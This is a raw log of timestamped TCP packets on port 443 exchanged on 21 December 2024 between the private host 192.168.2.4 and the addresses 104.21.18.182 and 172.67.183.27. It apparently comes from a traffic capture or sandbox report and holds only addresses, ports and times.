Dec 21, 2024 20:13:36.999527931 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.147064924 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.147088051 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.147270918 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.147270918 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.147357941 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.148121119 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.153242111 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.153255939 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.153475046 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.153538942 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.153824091 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.159852982 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.159866095 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.159990072 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.160053968 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.160527945 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.165694952 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.165713072 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.165803909 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.165870905 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.165908098 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.165931940 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.172164917 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.172178984 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.172342062 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.172405005 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.172466040 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.178354979 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.178369045 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.178481102 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.178543091 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.178618908 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.184648991 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.184664011 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.184809923 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.184874058 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.184942007 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.191972971 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.191987038 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.192326069 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.192389965 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.192496061 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.339926958 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.339945078 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.340173006 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.340173960 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.340239048 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.341043949 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.345860958 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.345880032 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.346105099 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.346106052 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.346179008 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.346723080 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.351735115 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.351748943 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.352550030 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.352613926 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.352710962 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.358270884 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.358285904 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.358675957 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.358740091 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.358870983 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.364620924 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.364634037 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.364814997 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.364877939 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.364960909 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.370910883 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.370924950 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.371139050 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.371140003 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.371203899 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.371341944 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.377288103 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.377301931 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.377506971 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.377571106 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.377686977 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.384659052 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.384674072 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.385145903 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.385241985 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.385617018 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.532672882 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.532690048 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.533063889 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.533159971 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.533229113 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.538892984 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.538907051 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.539146900 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.539208889 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.539280891 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.544898987 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.544913054 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.545022964 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.545090914 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.545142889 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.545198917 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.551204920 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.551223040 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.551296949 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.551388025 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.551430941 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.551451921 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.557686090 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.557699919 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.557773113 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.557835102 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.558118105 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.563961983 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.563976049 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.564192057 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.564254999 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.564414024 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.569747925 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.569761038 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.570071936 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.570135117 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.570291042 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.576282978 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.576296091 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.576533079 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.576534033 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.576631069 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.576713085 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.724894047 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.724911928 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.725111961 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.725176096 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.727581978 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.730176926 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.730190992 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.730304003 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.730365992 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.730437040 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.736187935 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.736203909 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.736310959 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.736372948 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.736553907 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.741981030 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.741993904 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.742244005 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.742306948 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.745553970 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.747334957 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.747348070 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.747553110 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.747616053 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.747694016 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.753629923 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.753643990 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.753838062 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.753901958 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.754014969 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.758903980 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.758918047 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.759294987 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.759377956 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.763595104 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.765029907 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.765043020 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.765266895 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.765330076 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.765458107 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.917896032 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.917913914 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.917988062 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.918056011 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.918095112 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.918263912 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.923562050 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.923579931 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.923623085 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.923706055 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.923742056 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.923996925 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.928934097 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.928949118 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.929018974 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.929043055 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.929120064 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.934241056 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.934256077 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.934339046 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.934401035 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.934453964 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.940367937 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.940387011 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.940454960 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.940521002 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.940560102 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.940583944 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.945552111 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.945566893 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.945708036 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.945770979 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.945832014 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.951803923 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.951817989 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.951934099 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.951997042 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.952131033 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.957290888 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.957304955 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.957371950 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:37.957433939 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:37.957586050 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.109131098 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.109148979 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.109246016 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.109308958 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.109498024 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.114849091 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.114861965 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.114926100 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.114989042 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.115050077 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.120501995 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.120520115 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.120578051 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.120645046 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.120701075 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.120701075 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.125890970 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.125905037 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.126084089 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.126084089 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.126149893 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.126220942 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.131511927 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.131525993 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.131691933 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.131756067 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.131819010 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.136919022 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.136934042 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.137130022 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.137193918 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.137274027 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.142808914 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.142822981 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.142998934 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.143063068 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.143178940 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.144450903 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.144520044 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.144560099 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.144596100 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.144784927 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.144821882 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:38.144849062 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:38.144879103 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:40.057343960 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:40.057398081 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:40.058182001 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:40.067280054 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:40.067293882 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:41.291630030 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:41.291693926 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:41.293453932 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:41.293463945 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:41.293668985 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:41.301953077 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:41.347336054 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.218403101 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.218427896 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.218497038 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.218523026 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.219655991 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.219688892 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.219753981 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.219760895 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.219993114 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.226558924 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.235028982 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.235079050 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.235085964 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.243649006 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.243711948 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.243722916 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.298926115 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.342911005 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.342947006 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.342998028 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.343008041 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.392673969 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.410533905 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.414465904 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.414539099 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.414597034 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.414606094 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.414647102 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.422868967 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.431456089 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.431513071 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.431516886 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.431655884 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.431724072 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.431730032 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.440272093 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.440354109 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.440360069 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.448765039 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.448873997 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.448879957 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.457467079 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.457487106 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.457510948 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.457518101 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.457557917 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.465692043 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.465828896 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.465883017 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.465889931 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.483165026 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.483186960 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.483217001 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.483222008 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.483261108 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.483266115 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.489841938 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.489891052 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.489906073 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.490041971 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.490119934 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.490124941 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.503299952 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.503357887 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.503365993 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.503411055 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.573993921 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.577369928 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.605705023 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:43.605771065 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:43.605778933 CET	443	49737	172.67.183.27	192.168.2.4
